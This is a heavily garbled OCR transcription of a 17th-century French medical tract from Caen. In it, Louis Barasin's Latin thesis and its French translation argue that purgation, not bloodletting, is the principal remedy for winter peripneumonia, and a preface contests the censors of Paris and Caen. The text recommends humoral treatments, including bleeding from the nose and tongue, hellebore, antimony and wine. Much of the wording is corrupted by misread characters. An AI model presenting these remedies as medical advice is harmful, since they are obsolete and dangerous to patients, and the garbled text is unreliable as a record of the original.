quM la ■ falloic" Reformer.
Meflieurs leS Cehfcurs de Paris
de Caen , fouffriront ( s’ll leur plaid )
que^ i'Appellc de Icurs Jugements , Sc
que ie tafcbe d'en faire voir I’abus
dans cct Ouvrage, qiii ed compofc
de la Thefe Lacine dortt ? il' s’agit.
a\i’ec fa verlion Francoife , ci’une am¬
ple DifTerCation fur les Peripneumo-
iiies d'Hyver, qui ne fera pourtant
que la paraphrafe & I’explication de
ma Thefe , & en coiuiendra routes
lespreuves i comme la mefme Thefe
lera I’abrege de ma Dillertacion. Je
donneray enfuite tres hdelcment, les
principales Obfervations que i’ay fai-
tes dans la cure de cette maladie,
pendant les deux Hyvers derniers.
Enfin , ie prendray mes Conclulions ,
centre MeffieurS les Cenleurs , & d^-
monttefay'comme fefpere , 1 Erreur ,
la Precipitation , la Nullit^, ITniudi-
ce, &■ la Temerite de leurs Cenfures.
Et parce qu’ayant fait eferire tres-
Civilement a Monfieur Puylon , par
le fieur Barraflin mon Afpirant, pour
.%voir de luy s’il vouloit perfidet
P RE FAC E.
dans la Henne , ii ne die rien dans
la refponce dont ie fuis faifi , qui me
puiffe Iktisfairei il trouvera bon que
ie m’adrefle k luy dire(ftement. & Ic
prenne . principalemcnt ^ Partie ; cn
ufant £l pen pres comme ce Chien > qui
au rapport de Pline, lib. g. Ch. 40. fut
prefente au Grand Alexandre par Ic
Roy d’AIbanie , meprifa Us Ours ,.
Its Sapgliersy & Its DainSy & alia drait
atix Lyons. Un aufli Noble Advet-
faire que le Doyen de la Faeulte de
Paris, ne nr abbaidc pas le courage ;
au contraire , il le releve infiniment j
puis qu'il eft capable , d’excufer m»
Defaite. & d’embellir ma Vidoirci
Dans ce Fa6tum , je conferveray rou¬
te la moderation qu'on peut atten-
dre, d’un Homme qui Difputc , &
repoufle un Outrage cruel & iir-
jufte , concent pour le perdre j 8 c
Gomme je ne pretends pas eftre obli?
ge d'e rien diffiraulcr qui falTc att
merite de ma Caufe, & puiffc met-»
tre roes Adverlaires en tort ; I’on
pourra s’appercevoir en meme temps,
que je f^ais donner des bornes 1
taoii juftc Reffcntiment, & furtonti
PREFACE.
que je rcfpefte la tres-llluftre Efcolc
dc Paris, en la Pcrlonnc de Mon-
£eur (bn Doyen.
9 £
QU^STIO
M E D I C A
MATUTINIS AGITANDA D I S P U T A-
tionibus>’in Scholis Mcdicorum Ce-
leberrimse Cadomenfis Academiae,
pro alters Apollinari 4 ure^ confe-
querid^ , Pr^fide M. Nicoiao
P o s T E i ,• Regio & ordinario Me-
dicins Profelfore.
Vtrftm Peripneumonia hjhern^
I.
P ULMO fpiritalis antlia , fpongio-
fumque fanguinis & aeris concep-
taculum , vifcus eft , fi non princeps ,
faltem Patritium,& principibus affine.
Res mollis & rara. innumeris cellulis,
vcl potius yeftcuits mira arte contexi-
tur. Diftenfionis & contraftionis par-
ticeps , membranofi magis efle dcbuit,
qu^m carnofi. census : ceri^ imfquam
minus fanguincum> qu^m.dum fan*
guinis eft ofBcina; nnn e\vndem fola ,
dantur enim plurima^: fed fi coidi jun-
gimr , cui focieiatis omni gcnere con-
fentit j primaria. Nec enim ut can;er£E
partes j vivificum neftar, falls aiu ful-
piiuris alieni, vel alterius , utcumque
proprii excremcnti , put^ pMegmatis ,
iliuvie tantiim r 6 ^«S' 3 «Tep«rgai; fed
dum chylus continno veftigali per du-
iftus thoracicos in fanguinem confluit »
eidem pulmpne exadS mifcctur, &
flterque liquor in unum fuba<ftus attol-
litur, fpumefcit , fervet : nt aiucni
vinum, fic fanguis, & quid non fer-
mentatione perficitur ? Hsc enira na¬
ture virtus eft, & magna potentia , -
qua; vitae & rnortis, fanitatis & mor-
“bn generationis & corruptionis utram-
que'paginam prorfus implet. Nihil ta-
men eftaliud , qu^ra liber ignis Sc fo-
lutus, qui vel capitur ipfe, v-el captum
folvic. Hare verb aeris hauftu prae-
fercim in pulmone fovetur , cujus
contagione cruor turn floridiorfe pur¬
pura veftitur V turn verb
Sc vitalis anixnae flamma accendkur^
H IG eft vitae, & caloris bnati fun¬
dus, «ium flos falis tenuiffirous
per aerem fparfus , caeleftibus ignicu-
lis praegnans , tepelcic in ore , fervet in
pulmone, & per univerfum corpu$
diffunditur, fulpbureo-falinis fangui-:
nis partibus infpirando mixtus , qua-
rum concurfu fcrmencatio vltalis in
corde & pnimone jugiter abfolvitur.
Unde hominis fcud-
to; quia calor nativus indetineiner
excitatur & flnit. Aeris ergo hauftti,
non refrigeratur cor aut fanguis . nifi
quatenus, uterque modice incalcfcic,
& febris corpus non depaicicur. Ubi
fat fpirituotus Sc penetrabilis exbau-
ftus fucrit, aer ejufdem fere molts, fed
effoecus, fuligiiiofns, vacuus, fine pon-
derc, fine Elatere, fuiqire cadaver , ex-
pirando rejichur, in exitu lingus Sc
laryngis modulamine , vox prsterek-
que nibil; nifi cireumfufi fpiritus pref-
fione fummam regionem confcendat,
nov^ c£Eli virtute locupletapdus. Ni
faciac, ruit bumana focietas , tui mei-
quealtcrcationibus jam plus ^quo la*
befarSataj quanto enim acrius aeiris
quJifti tefTx tra'dus vindicabitur, vi*
lalis ejus virttis non refarciatiir J Haec
eft alccrna motus, partim proprii, pa»-
tim alieni in pulmone reciprocatio;
non cuivis, fed proprije tantiim, & fui
juris vitae coaetanea. Celfat enina in
fgetu, quia ,matern6 fpiritu viyitur per
umbilicum > qui tunc pulmo eft > ticnc
in cdit6,pulmo eft umbilicus,pec quem
Dias in luminis auras piier cxceptus. iii
vicam Univerfi radkatur. Tunc quae
Harveii fphinx eft , qui nonimeftri toto
tranfpirando vixerac« fic refpirare eo*
gitur , uc lucis & aeris ufura , ne mo*
memo vacet j alloqut n^ftn vitalis in-
tetcipicor, & Celebris peric ilia Perio*
dus Hippocrati non ignota , qua fingu-
lis horis, duodecies clrciter oniverfus.
fangnis incudi redditur. Hujos
yita eft, & fanicas auimantis J. intsr-
ceptio , mors ; pigrities & mora , motr
bus quem deferibimus.
III.
ERIPNEUMONIA frcqnentibs.
Jt vAiuusuf ■ interdum firopiiciter
Hippocrati dkitur i.nt quod nomen
vulgiis phtilicis tribuere folet, Prae-
ceptori fit cubereulum pulmonis, ubi
calciaftus aliquando tilem^rspe fan*
guiiiein plerumque verb pituicam at-
trahit, nec dimitcit jid eft ex cirenktls
humorom lege, retinet. Triplex eft er-
go , eaque prorfus contraria peripneu¬
moniae caufa antecedens. Indc qnidem
bills , evefium fulpbur , fanguinis in-
cendiculum , fundens & colliquans ,
promptioris & immodicae fermentatio-
iris femes, cui prsceps concretio in
pulmone fuccedic; hinc verb.pituit^
cruder lentus, veficulas pulmonis in-
ferci-ens, ejufque alas quafi vifeo ir-
retiens. Inter utrnmque fanguis am-
bigitj dum, vcl proprio interdum vi-
lio peccat, & fnfus fupra modum in-
caleTcit; deinde verb poius vel aeris
frtgidioris illaplJi, vel interni eujuf-
irbet coaguli , manifefta, vel occult^
aciditate concrefeit : femper aiitcm
alienbnocet. A quilibet cnim ctreui-
tionis remora natural! motu prohibi-
tus, & in vifeere fanguiforbo fta-
gnansjbrevi illud in immenfum at-
tollit, quando Hinc
b causa etiam frigtda , vel tantum-ob-
ftruente, mille lymptomatum terror,
, rigor fcilicct, febris a.uca, dy'fpna:a.
/ids-", tuffis , hWafi'nsi linguje nigredo ,
fpucum flavum aut cruencum , deli¬
rium, vomicus ; uc, quod mireris fere
par fic, in hoc cafu, bilis & picuits
acerbicas. C^uippe locus banc auda-
cera facie, & qua'tn feritatem humori
crudo natura negac, pars affedla tri-
buiej, fcilicet ex fanguinis Euripo no-
bilior, qu^m ut longas iniurias. SC
yjt£E mala, in primis diu mul-
tCimquc patiacur.
IV.
Q UlSOyiS ergo ex fymptoma-
tunj faevicia morbi caufas feru.^
tab^tur , impinget, & .naturae incan-
defeentU, pec. fe impune in principatu
opprimi patientis tumultus, hutnoris
jcaliditati, acrimouiae , & Ti diis pla¬
cet, malignitati fruftra plerumque af-
fignabit. Bills quidem orgafmus non
eft inane nomen j & quando datur,
eq gravior, quo pungit acutiiis : fed
rarb datur , etiam in calida regionc i
quanto rariiis in frigid^, vel Boreali.
Bilcm tamen k pituitk , in peripneu¬
monia diftinguere, tanti eft,qoanti
curare, vel interficere Hinc nempe
yariac ^ immb opponitut ’e'yJV||(s : enina
verb fi bills, vel fanguis in venisac-
cenfus, tumorem calidum Hippoerati
didtum puImoni\ incutiat, utrumqwe
cognofees, quidem ,
praedidtis, turn majofe calorj* inc^n-
dio , quando refpirat kfz^cy, &
nares dilatat j veluc cquus ex curfu ;
turn verb linguam exerit ut canis jc-
ftate, dorfninque & latera 'ardent i
velut ejus tjui fedeat ad ignem , St
rubores exoriuntur ve'lut i Iflamni4 ,
& morfus fortis incidit & iOT©/?. Sed
concorfus fiet ex aeris
conftitutione > unde 9-«'/y7j' fi morbus
aftate ci a'f^ maxime ifiat: turn verb
fi bilidfus ager i^v^v/*<>s , ,
SSn'iJJAtBof, VCntcr
, JcstTMOT/ieyW a-nestfl1«S ! dc-*
nique.fi in rcr.um non naturalium nfu,
ad biHs provetum , & intempericai ca“
lidam inclinet. Tunc ven® feftio ve-
‘luc fummo jure debetur, non
tantum ex cubito , fed ex naribus i
lingu^ , & quacumque corporis parte i
alcerantia fumpta & adnnota refrige-
rent . & ne conceptus fanguinis fer¬
vor ultra progrediatur j vino tanqoant
veneno prorfus interdicatur i anaca-
tliarfis & tranfpiratio, tanquam futn-
mum bonum , omni arte procuretur (
alvus clyftere, vel blando mcdicametS
fubducatur. Haec bilis & fanguinis ia
pulmone furentis, medicina efto.
V.
U M verb Jupiter hybernus , ut
V-/ nuper > regnat, & cana. nive
eonfpuit Alpes» cum frigus diturnura
Sc penetrabile
hauftu, refta fanguinem & pulmonem
ferit, Sc intercept^ quod pro-
prium eft frigoris maleficiumj ven-
triculi coeftipnem inquinat, cujus vir-
tus natura , morbo , errore debili-
taturfi defic iPvfiY/uiv prsecefferk
cujufdara
pifeis, vel cojuflibet edulii gelu ri-
gentis ingluvics. Turn cette pituitam,
ex recent! & vernacula. Epidemicam
fieri neceffe eft, & azymi cruditate
ventrem venafque repleri, cujus con«
tagio fangnis, prius
jam »owAf, k priftini npmiuis officii-
que dignitate excidat, nec nee
periodcKvitaii amplius^ fufficiens. Qua-
propter hyems fuse peripneumoniae fcr
rax eft, cujiis figna, ut dibium eft*
sftiv® fignis plerumque ailudunt: fed
Gavcjne te hac Tpecie dcludant. Sienira
ucramque pari modo e'ures, \x mi-
feris ! tuo enim paralogifrao citius pe-
ribunc, qu^m analogifmo libereiitur.’
His plerumque in morbi infuitu , ciim
tuflis vel fpiritus urgere indpic; vel
Ipiui cruenti terret Epiph^nomenon ,
prima vel altera phlebotoraia Ghirur-
gi OTM/swaVf'j'o! fadnus eft i fed Mt:-
d ci n';i«>ne alTencatione brevi obte-
gendum. Is enim tandem accerficus,
ter quaterve, facile & magnum, fed
anceps prsefidium fine diorifmb» fine
ver^ indicationc praeferibit J plus e-
tiam aufurus, ni vulgi jam fremen-
tis rumor ab incepto deterreat. Sub-
fiftic ergo, cum non rarb pergere fa-
t’us: nam fepe largi.ori minus , qu^ra
mediocri detraftione peecatur i quip-
pe ilia, fi vires valent* cum fecuri*
tate, univerfam morbi niineram de-
trahi contingic, tegrofque adeo , tar*
dius quidem , periculofius , nec fine
recidivae aut permutationis metu ,
tamen uteumque liberari. ^ Sed me¬
diocri ven^ fectiprtc quid p4<6ficitur?
fi corpus fit cci(slif7tv J
nulla
Itullafit iu-d<r,ruMe i ■quinimtKo in par¬
tem affedam ruit impenfius» undc-
cuTOqu« moveatur: adeoque omnia
exacerbari nccefle eft, ni(i in Peri¬
pneumonia molli j materiae benignio-
ris paucitas Medico fuccurrat inerti.
Ut ergo in moribus , fic in Medic-ini
■via media nulla eft , qua neque ami-
cos parat , neque inimicos tollit.
Quanto re^liiis Hippocrates fabur-
ram ex vetrtre & venis , ipfiufque pul¬
monis confinio.catharfi opportuiid fur-
fum deorfumque eliminat , nec Thap-
fix, nec Elaterioj nec Helleboro,
multo minus Tetragono pareens, &
res aegrotantis, vel exigunt. vel pa-
tiuntur. Sic analogi & tempeftivi
evacuatione, plerumque morbus Sc
fymptomata folent obliterari, ut in-
fperata falus ^grotantcm & adftan*
tes percellat. Si pitfistm
nonnihil fuperfit, tuti & facili, nec
copiosi fanguinis detradione deriva-
bitur; vel diapboreticorum SC.
cardiacoruna ulu' leniter expirabit. In
his modica prxcipua eft , hy-
bern® tempeftati. morbifque', prae-
fcrtim pedoris femper arnica, hie
mecitcina tRcb * cub , 6c jucundb
curaadis.
Ergo PeripnettmonU hjhern*
nifufois
Hm Thefet proponehat Ludovicus
Barasin, Potbomagam , die
Sabb. ly, Jl^artii, %A.R.S-H.
M. ‘BC. LXJCJCr. ab bora S,
mawt. ad merid.
QUESTION
D E
MEDECINE.
70VR ES7RE rDISFVlE’E
da»s Us Efcoles Publiqties de M t-
dtcitie de la tres-CeUhre Vniverfite
de Caen, pour le degre de Licence f
fom la Frefidence de tMaiftre
Nicoias Postel> Prafef-
feur "R oyal & Ordinatre de ladtte
" FacttltL
LA PURGATION ESTELLE
Ic Prineipal Remede,dans les
Peripiieumonies d’Hyver ?
I.
L e PoHltfton, receptacle jpongieuXt
& Rompe afpirame, d‘air& de
fang , -efl un -vifcere , finon dn rang
des Princes , dtt meins tres-Noble, &
qtti a ItamoHf d’affinite avee ceux
le font. H eB mol & rare, tifti
far aylrt merveilletix y d’tt» mmhre in-
fin t de cellules ; comme ilfalloit ^nil s’e-
tendifl&fe refierraft y il a du plutoB
tBre du nembre des Membranes y que
des l^arenchymes & il ts’ejb famats
moins fangmn , que qnand il efi le la-
herateire dn fang. 11 na fasfetil cent
qttalitfy elle-eB commune d flufieurs
autres parties ; mats fi on le joint au
coeur y avec lequel il a touie forte de
fympathieyC eB le principal. Car lePoul-
mon ne purge pas feulement le fang, en
forme de couloir » des/els, & foulphres
efirangers, eu de quelqu autre excre¬
ment qui luy foit propre, comme le
fhlegme , ainfi que les autres parties.
^Mais tors que le chyle fe diflribuant
dans les canaux ihorachiques ,fe mef-
le par un conttnuel trtbut , avec
le fang, c’efi le peulmon , qui par fan
mouvement, fait I’alliance de ces deux
liqueurs , les confondant en une, quit
exalte, rend efcumeufe, &fait bouil-
lir. far le fang aujfibien que le vin,
& toute autre liqueur fe fait par lafer^-
mentation y qut efi la vertu ^ la gran-
Je puiffance de la tjattirr^ la- cattfe^
vnicjite de la vie ,& de la mart , de la
fame ,& de la maladie , de lagemra-
tton , & de la corrnptioie. Ce four-
tant autre chafe , ^tt’nn feu Itbre & de¬
gage , epui ett delivre un autre ^ ptifon-
nier dans les mixtes s ou ^ui s’j ar-
refte luj-mefnte. fette fermentation fe
fait, principalement dans It Poulmon ,
far I'tnffiration de I’air , i^ut fe mefant
avec le fang , luj denne i"eclat d'une
fourpre tres-vive, le rend fpiritueux ,
& allume en luy ce feu vital » dent tl
eft le fujet.
I I,
‘S S T Id le proprefonds de la vie.
de la chaleur r.aiurelLe, qui fe-
froduit, lors que la fieur d’un fel tres-
fubtil, qui ejt repandu dans I'air, O*
contient les eftincelles d’un feu felejie,
s’echaujfe dans la bouche > & plus encore
dans le poulmon , & fe repand par tout
le corps , fe mejlant avec les parties
fulphureufes , & falines de la maffe
du fang ; enforte que du contours de
ces fubjiances , la fermentation vitale
fe fait continueliement dant le ceeuff
&dans le Pe qm n ffit dk$
^ Ht^tcr. ^tie -rantt fe produk toui'
jaurs juf^HCS d la mart ; cefi d dire ,
5 '«f la chaleur mtarelle , efl fen
frincipal infimment, fort eentinuelle-
merit du fang , jnfcpnes d ce terme. A
le bien prendre dene ^ l’tni}iration de
fair ne rafaichit Le cceitr, on le
fang , quentant qu il lenr commmiqHe
sine chaltttr moderee , & qit’il empef-
the qne la fie'vre ne s‘j allume , & ne
le confomme. Lors qm fair efi defnui
de ce fel jpiritnettx, tres -f^til,
tres-pertetrant 3 on le rejette par f ex¬
piration 3 prefqnen ‘mefme qaantite.
qtfon fa pris : mats- pour lors tl eft Jans
vigfteur yplein de fnjes^ dejiitfte de ver¬
ts* , fans peids , (fP fans rejfert : enforte
qu'il femble mart , & fans vie > 0" sn~
fertant devient une voix par le bam-
ment dn larynse 0“ de la langne a ^ puis
■neft rien du tout, ft la eompreftion de
fair voiftn ne le pone en hant» pour
tflre empretnt d’un nouveau fen Ce-
lefts , par les influences des Aftres. Si
tela narrivoit ainft , ce feroit fait de
la foeiete humaine, qut les centeftationsy
fur le tien & le tnieny nont deja que trop
eiffoiblU- Qircmbkn pita ardmmm
' thacttn voudroh-tl conferver fa porf'mt
d’air, & vlvn fettl en panictilkr ,fa«sr
fouffrir ^ue ferfonne la panagaf,
s'apfrochant de lay , qail nt fait «»e
f onion de terre, dent la culture lay fro'
dait quelqttes aliments. Cette inf^tra-
tien,& eette expiration,font le moavemep
recipreqne, & alternatif da poulmon
qai lay efien panic propre, & en panic
tfiranger , & ne convient pas, a tout
genre de •vie i mats fealcmtnt a celle ,,
qtii efi libre, emancipe’c, & independante
de toHte autre, tyimfi le Fatus w auee
depens de fair defa mere par le nom-
bnl , qtii luy fen de poulmon ; eomme
le poulmon pent eftre appelle , I’umbilic
de ceux qui reffirent : puifque eeux
qui jeuiffent de la lumiere , s’enracinent
par le meytn de cette panic, dans la
vie commune de I’Fnivers. Et c efi de
cette fafon qu'^il faut refoudre I'EnigmCi,
cu le Probleme , du Celebre Harvaus »
comment il fepeutfaire , qu u» Enfant
qui a vefcu neufmois dans le ventre de
fa mere fans refiirer, tout aujfi-tofi quit
a prts f air, en fente un befoin fi prefidnt,
& f continuel, qu'il ne s'en putffe pafer
m moment , fans quo cette celebre cir^
fitUtiojt du fang vUnnt a ceffer^ qnlen-
tfetient la vie ^'& eji la .gloire du mef~
7ne Harvms; qttey quelle nait fas efte
incomuea Hifpocr. Par cette periode ^ la
chaleur& la vertu du fangfe repare dans
le ceeur, & dans le poulmon, environ
dousLefois en H efface dune heure. La
liherti de ce wouvement eJi la vie, &
la fame de Panimal j fon entiere inter¬
ception efl la mart; fon emharras, & fon
retardement , ef la maladie que nous def-
crivons,
II L
F LLE s^appelle It plus Jouvent Peri-
/ fneumonit, chez. Hifpocr. quelque-
fois firnilemeni. Pulmonic. Enforte que ce
nom qui partny le vulgaire fe dortne aux
Phtiftques. chez le Ptecepteur fignifie un
tubercu'.e d» pouhnon; lors quefant ef-
chaufj'e ', il attire a foyr & ne laijje pas
alter , Pefi d dire, felon Us loix de la cir¬
culation 5 retient, quelquefois de la bile
plus fouvent du fang j, mais tres-oi dinai-
rement de la pituite. II eji done mis cau-
fes antecedentes , & contrahes de- la Pul-
inonle. Hun cojie le foulphre exalte de
la bile, qui ef I’allumette du fang , qui
fond & dtjfoud celte hmneur far me fer¬
mentation irnmoderee , toujotm faivie de
la comretlon du mefme fang : de I'autre
unepituite cfue & vifqueuje, qui houche
& farcit les veficules du poulmon , & en
gluant fes ailes, les empefhe de fe mou-
voir librement : Le fang eji au milieu des
deux ; car quelquefois ilproduit lapuhno-
nie de fin chef, & par fin propre defaut;
lors qu’ejiant mp efihauffi, il efl misen
fufton & en trop grand mouvement j &.
puis fe coagule par une hoijfon , ou une
rel^iration trop fioide; eu par I’acidite
snanifefle, ou occulte de quelqu'autre li¬
queur ; mass de quelque caufi que vknne
la puhnonie , le fang sy mefe toujours,
& toujours efl de la partie; puijque fin
mouvement eflant enfin arrefle par quel-
que’jobflacle que ce fiit, il s'amajfe necef
fairernent dans ce vifiere, le genfle, le
tumefie, & remplijfant fa fubfiance , le
faitgrojflr exttaordinairement. C’efl pour-
quoy, quand mefines une humeurf-aide,&
qui ne peutfaire que des ebflruSiions, em-
ptfche ce snouvement , I’en voit auflltofi
naiflre mille Jymptotnes terribles , a fior-
voir le fiiflen , la flevre dgue, la difli-^
cnlte de rejpirer, I a feif , la teux, rin-
{juietude , la noireeur de latigue’, les
crachats jaunes on fanglants i ie delire y
le vomtjjement; enforte qttil y a fujet de
seflenner, qu’ea cette occafton la ptuetey
tji aujfi dangereaf : & terrible, qm la
bile; farce que le lieu quelle occupe la
rend plus injolente , & cette humeurcrue
trouve dam la dtgnite de fa partie affe-
llee 5 une ferocite que la nature luy avoh
refufee. En effet, le continuel flux & re¬
flux du fdng , rend cette partie trap noble
pour fouffrir longtemps des injures con-
ftderables; & enfdautres robflruSlion de
fes grands vaifleaux , qui arrefiant le
mouvement du fang, empefehe aujfuofl
IV.
VICO N.Q^E done pretendra
connoiflre les caufes de cette mala-
die par la rigueur des fymptomes , courra
rifque de fe trompfr, & attrihuera mal
d'propos a la chaleur, Vacrete, & mef-
me la maligniti de Ehumeur, des rmu-
vemens turbulents , qui ne precedent le
plus fouvent que de I’irritation d’une na¬
ture agitee , qui tafhe afe dejfendre,
ne fe laijfe pas opprlmer farts combat, juf-
ques dans la-fource de la -vie, par me hu-
mew eflrangere, qu’elle fait effbrt.de re-
foaffer. Il eji vra'j, qne qnelquefois, cette
humeur eJi chaude, tors que La bile fe
met enfttreur; & lors que cela arrive,
fort infulte eji dautant plus grand, quel~
le picqueplus vivement. JHais cet orgafi
me de bile arrive rarement, mefme dam
une region chaude ; comhien meins doit-
il arriver, darts un CJimat fold & Sep¬
tentrional ? Cependant il y va de tout ,
de bien diffmguer ces deux hurnews dans
la Perlpneurnontt, & cela nefl pas moins
important que de guerir ou tuer le mala-
de. Car de Id naiffent des indications
non feulement differentes, mais oppofees.
Si le fang ou la bile atlurnee dans les
veines, fait cette tumeur chaude du poul-
mon qu’Hippocrate a remarquee , vous re-
connoijlrez. L’un & I’autre , prebablernent
d la verite, parce que nous avons dit,
& par lesfignes d’me chaleur plus ern-
brajee, qui caufe au malade une rejpi-
ration tres-fiequente , dans laquelle il ou-
vre les narines cornrne un Cheval outre;
tire la langue comme fait un Chien en
eji 4 ; k dvs & Us cofles hy hrulent, mn-
me siL efloit proche d'un grand feu il
.a le yifage, les yeux y & le corps rouge
comme une flamme, il fent une grande
douleur, & une forte inquietude. Mais
ce concours deviendra Pathognomique,
far la conftitutioa de I’air, quifaitce
caraBere particulier & tnalin , auquel
Hippocrate donne le mm de divin ; Ji
cette maladie je fait en Efte; principale-
ment durant la Canicule i deplus i fi le
malade efl hilieux, prompt & colere ,*
iil a le ventre chaud , des veines grojjes
& dares ;s’‘il a beaucoup travatUe, fi
fin corps & fin ventre font rejj'errez.;
enfin, fi dans fufage des chofis non na-
turelles fil atoujoursfait beaucoup de bi¬
le 5 fans I'evacuer, & sHl a fait tout ce
qui peat bien echauffer fin temperament.
En ce casi lafeignee par toute raifonj
doit eftre le principal remede , & il
la fautfaire non fiulement du bras , mais
du nez ., de la langue y & de toutes les
parties du corps; & pour les alteratifs ,
il les faut donner par dedans & par de¬
hors tres rafiaichijjantsi & de peur de
poujfer au plus haut degre la fermenta¬
tion
tion dit fang , qni »e[i deja qtit trap
grande, il fant- deffendre le vtn com-
me venin : I’on doit par tom mo-pens
procurer I'expeHoration , & la tranjpi-
ration copnme des biens fouverains-^ &
fe contenter de vuider le ventre parun
Clyftere , ou parun Medicament tres-
henin. Par ces ‘}{jmedes, ton peut
reprimer la fureur du fang & de la
bile, lors que I'un ou I’autre enflamme
le poulmon. V.
M ty4 J S en Hyver , lors que le
fold long & aigu regne dans
fair , qui eftant inffire, frappe tout
droit le fang & le poulmon, & que ee
fold par fa malice particuliere & pr$-
pre , fupprime la fermentation , & cor*
rompt atnfi la digefiion du ventricule i
dont la Venn ‘ft affoiblie ^ par natu¬
re , par maladie , ou par erreur exter-
ne : s'll ny a point de rapports aeides
qui prefervent d^s affections de poiClri-
ne i ft la crapule , la gourmandife ,
f excel:, des viandes, ou I'ufage de cer¬
tains poiftons , ou d’autres aliments tom
geleK. & roides de ftoid, out precede i
tl eft. abfolument neceftaire que la pi-
tuitt devienne Epidemiqut, & que It
vmre & Us "vems ft remfUJfent d’ftne
erudite aKSfine ; par le meflange de la-
tjuelk, le fang qm efioit auparavant ,
vermeil & fincere , devtenne malade ,
& perde fen nem, fan office , & fa
premiere dtgnite , neftant plm capable
de fan mouvement, nj de Ja circu¬
lation ordmaire. C’efi pourquoy l’Hy~
ver engendre une Peripneumonie qui luy
efi propre ; dent Us fignes font prefque
femhlahUs a ceufc de la Peripneumo-
me d’£fie : mats preneK. garde de vous
latffier tromper par cette apparence. Car
ft par cette erreur vous Us traiteK^teu-
its deux de la mefme maniere , mal-
heur aux mifetabUs qui tomberont
fous vofire main , & periront plutofi
par vofire PdraUgifme, quils ne fe
fauveront par vofire Analogifme. Dans
le commencement de la maladie, des que
la toux & la dtfficulte de reff irer'eom-
mencent a preffiriou que Us crachats
fanglants vtennent d paroifire, I’on
court a un Chirurgien hardy & entrepre-
riant, qui pretend avoir droit de faire
de fon chef la premiere , 0“ mefme la,
feconde Jeignee ; Ufquelles en effet font
erdtnairement fon premttr crime , matt
Meiecin dtt emmm , qui s’eti-
tend avec luy , ffah hien couvrir par
fa complaifance. Car efiant ei^fin ap-
ptlle par Us bans offices de fan amy ,
il devitnt fen complice, & ordonne en¬
core fans reconnoitre, mis on lyuatre
feignees , fe fervant fans dtorifme ,
fans anctine 'veritable indication de ce
Ti^emede grand d la ‘verite •, mats ca¬
pable de faire beanconp de bien, on
beancoup de mal. Il paffe oit volontiers
encore plus outre, fi la rumeur de
eeux ^ut font amour du malade, ^ui
commencent d compter les feignees ,
ne fai/oient peur au Medectn, efcla-
ve du bruit populaire. Jl s arrefie
done lars tyue quel^uefois il vaudroit
mieux continuer. Qar les grandes fei¬
gnees , font en certaines occajions , de
moindres fames. que les mediocres ;
pmfquenfin fi les forces du malade
font fuffifantes , il peut arrtver
que tome la mature sepuife par
de grandes evacuations, Cfr ainfi que
le malade guenffe i quoy que plus
tard , avec pita de rtfque de mart , ou
de rechute , d’Empyeme , de phttjie ,
oud'hjdropifie de poitrine- Mats quay
^»il en foh, ll evlte le peril prefent *
& prejfant de Cir.flawmation, Mate
^uel profit pent - tl recevoir des
fetgnees mediocra ? fi le corps elt
impur, & n'a pas eftf purge attpara-
vant ; eIpere-t-o» fatre revttlfion de la
matiere faifoit la maladte } aa
contraire , elle fe pone avec plus d'tm-
petucftte fur la partie taalade, quel-
que foit [on foyer & le principe de fon
mouvemem ; & ainfi tl faut necejfai-
rement que la maladte &fes accidents
augmentent ; fi elle eft cenfiderahle , &
quelle ne foit pas de ces Peripneumo*’
nies molUs, comme parle Htppocrate,
produites par me petite quantise de ma¬
tter e , & aifee a emporter par tomes
fortes d’evacuations , ^ qu ainfi la
facilite de la maladte) ne vieme au
fecours de la fothlefte duMedecm. U
eft done de la Adedeeine ^ comme de la
Ad or ale ^ eu de la Poltttque, dans
laquelle tl faut eSlre tout un, ou
tout autre, & ou la voje du milieu eft
ordinairement la pire-, parce quelle
ne fait point d'amis , & n’ofte point
d’ennemts. Qm la condmte du grand
Hippocr. eftoit bien nteilleure, qui par
des pargat'ms denmes a propos , fat-
foit fonir par haut oh par bat cet a-
moi d'mpHretex^, tjui fe portoit dii
ventre & des veines fnr le penlmoni
n ef^argnam ny I'Hellebore y ny la
lhapfiay ny 1’Elaterium y & inoins
encore tAntmoinelorsqne les dijpo-
fitions dn maladey.le fonffrotent ou le
demandeient. Et nous voyons tom les
jotirs ^ue par ces purgations proper-
tionnees a la maladie & attx forces
dn malade , cette ‘Peripnettmonie fi fa¬
rouche, & tons fes accidents fi terri-
bles y s'evanouifient fi promptement ,
qum falutfi peu ejpere , jette lesma-
lades & les ajfiftants , dans un eften-
nement dont ais ont peine a revenir.
Si apres cette premiere operation , il
reflott encore quelque portion de I’hu-
meur a evacuer y I'on peurra alors fe
fervir en toute feurete y de quelques
feignees ; ou hien par le moyen de Ee-
wedes Cordiaax y &‘Diaphoretiques»
la faire doucement evaporcr. ’Dans ce
dernier ^enre efi I'ufage modere dn
vin pur i qui convient & d la faifon
de I'Hjver, & a toutes les maladies
qu’il engendre dans la poiSlrine i qui
fe peuvtnt gmir par etttt mthodt J
fturmm , promptemm > &
btemiit.
Done. dans la Peripneumonie
d’Hy ver > la Purgation eft le Reme-
dc Principal-^-; ■'' “
ZO V IS ‘BAKASiN de Bmtn ^
propofott ces Ihefes pour eftre -
Dtjpmees le 17. de Mars
i6Ss> ■
errata.
Prsiace. Pagei, Itigocil. Ics, life^ fcs.
Ibidem, ii^ne ii. cu font, font.
Dissertation, Scconde Page, juf-
qucs a la 14. au Titrc, Perifciteumo-
nies, lifcz, - Pertfiieumtnies.
Page I. ligne 7. icur, lifex. leurs.
Page j 1 . 17. , /«/■« ,
Page II. 1. I. ]euc , life:^ leurs,
Page IS- I. 9 . Itfex, J'efWJv.
Page itf. I. 10 . ,/»'/£»
Page ly. 1 . ij-. di/narijf, lifez Ji/ttcri'f-
Pagejj.]. is. Icur, Jcurs.
tadem.l. 17. Icfqucllcs , fi/ea Icfqucis.
Page 41. 1 . 8. Li vte inter lifez- Livre dc
Page 44. 1 . 7. leur, ///««, leurs
Page 4S. 1 . 14, iivcipAL^if, lifetSiycfWsliie.
Page SS- I. I- 4 ' aux , lifez , au,
Pagcyy.l. 18. Icur , leurs.
Page si. 1 . lo. Icur, leurs.
Page fii. 1 . 17. /i/ia;, Ca^ogir.
Page 6y. 1 . S. , lifez i-auXat.
Page 8l. 1 . IJ.
Page 84. I. z8 iyHint, lifer, ' 5 a?»roe.
Page 51. 1 . to. «gsn,giar, lijez, fsoTnatxf.
P^ge ly/. 1. i8, vcntricule , lifeZ ventre.
Page 17J. l.y. lifez.
'K T-L :i 3
• I: ,j - Off; .
..\ 4 ’ a •!. • 5
lllllllillllllliii
DISSERTATION
S V R L E S
PERIPNEUMONIES - D’HYVER.
C ’E S T Ic devoir des Medccins
dc veillcr k la Sance publique;
